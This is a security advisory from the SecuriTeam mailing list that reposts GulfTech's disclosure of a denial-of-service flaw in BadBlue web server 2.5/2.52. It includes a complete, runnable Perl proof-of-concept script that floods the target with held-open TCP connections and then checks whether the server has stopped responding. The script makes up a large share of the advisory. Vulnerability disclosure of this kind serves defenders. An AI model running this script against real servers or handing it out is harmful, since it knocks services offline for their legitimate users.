[NT] BadBlue Web Server DoS

The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  BadBlue Web Server DoS
------------------------------------------------------------------------


SUMMARY

 <http://www.badblue.com/> BadBlue "shares files directly from your own 
PC, using the cable /DSL/broadband/dialup connection you already paid for! 
BadBlue lets you run a no-hassle Web site on your own PC for free, 
including a domain name you can choose. Within seconds, you can transform 
your PC into a friendly, file sharing Web server with all the power of a 
real server on the Internet. Remote users can search for files, explore 
your shared folders, and run full-blown applications created in HTML, PHP, 
Perl, and so on".

The BadBlue web server does not handle many concurrent connections 
properly, which makes it vulnerable to a simple denial of service.

DETAILS

Vulnerable Systems:
 * BadBlue webserver version 2.5, possibly prior

BadBlue web server cannot handle multiple connections from the same host, 
and will deny all access to any users at right around twenty-four 
simultaneous connections. A proof of concept Perl code that will perform 
this is presented below. The code floods the target server with 
connections and keeps them open, effectively blocking all other traffic to 
the server.

Exploit:
#!/usr/bin/perl
##############################################################
# BadBlue v2.52 Web Server - Multiple Connections DoS POC Code
##############################################################
# BadBlue Web Server can not handle many simultaneous connects
# from the same host, and will lock up until the connects stop
##############################################################
# This Proof Of Concept Written By GulfTech Security Research
##############################################################
 
  use Strict;
  use Socket;
  use IO::Socket;

  my $host = $ARGV[0];
  my $port = $ARGV[1];
  my $stop = $ARGV[2];
  my $size = 1000;
  my $prot = getprotobyname('tcp');
  my $slep = $ARGV[3];

printf("================================================\n");
printf(" BadBlue v2.52 Web Server Denial Of Service POC \n");
printf("================================================\n");
printf("[*] Making %d Connections To %s \n", $stop , $host);

for ($i=1; $i<$stop; $i++)
{
  socket($i, PF_INET, SOCK_STREAM, $prot );
  my $dest = sockaddr_in ($port, inet_aton($host));
  connect($i, $dest);
}

  CheckServer($host, $i, $slep, $stop);
  KillThreads($stop);
  printf("[*] Exploit Attempt Unsuccesful");
  exit;

sub CheckServer($host, $i, $slep, $stop) {
   ($host, $i, $slep, $stop) = @_;
   $blank   = "\015\012" x 2;
   $request = "GET / HTTP/1.0".$blank;
   $remote  = IO::Socket::INET->new( Proto => "tcp",
                                     PeerAddr  => $host,
                                     PeerPort  => $port,
                                     Timeout   => '10000',
                                     Type      => SOCK_STREAM,
                                   );
   print $remote $request;
   unless ( <$remote> )
   {
      printf("[*] Host %s Has Been Successfully DoS'ed\n", $host);
      printf("[*] The Host Will Be Down For %d Seconds\n", $slep);
      sleep($slep);
      KillThreads($stop);
      exit;
   }
}

sub KillThreads($stop) {
$stop = @_;
printf("[*] Killing All active Connections");
for ($l=1; $l<$stop; $l++) {
   shutdown($l,2)|| die("Couldn't Shut Down Socket");
   $l++;
 }
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:security@gulftech.org> 
GulfTech Security.
The original article can be found at:  
<http://www.gulftech.org/?node=research&article_id=00042-08202004> 
http://www.gulftech.org/?node=research&article_id=00042-08202004



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages.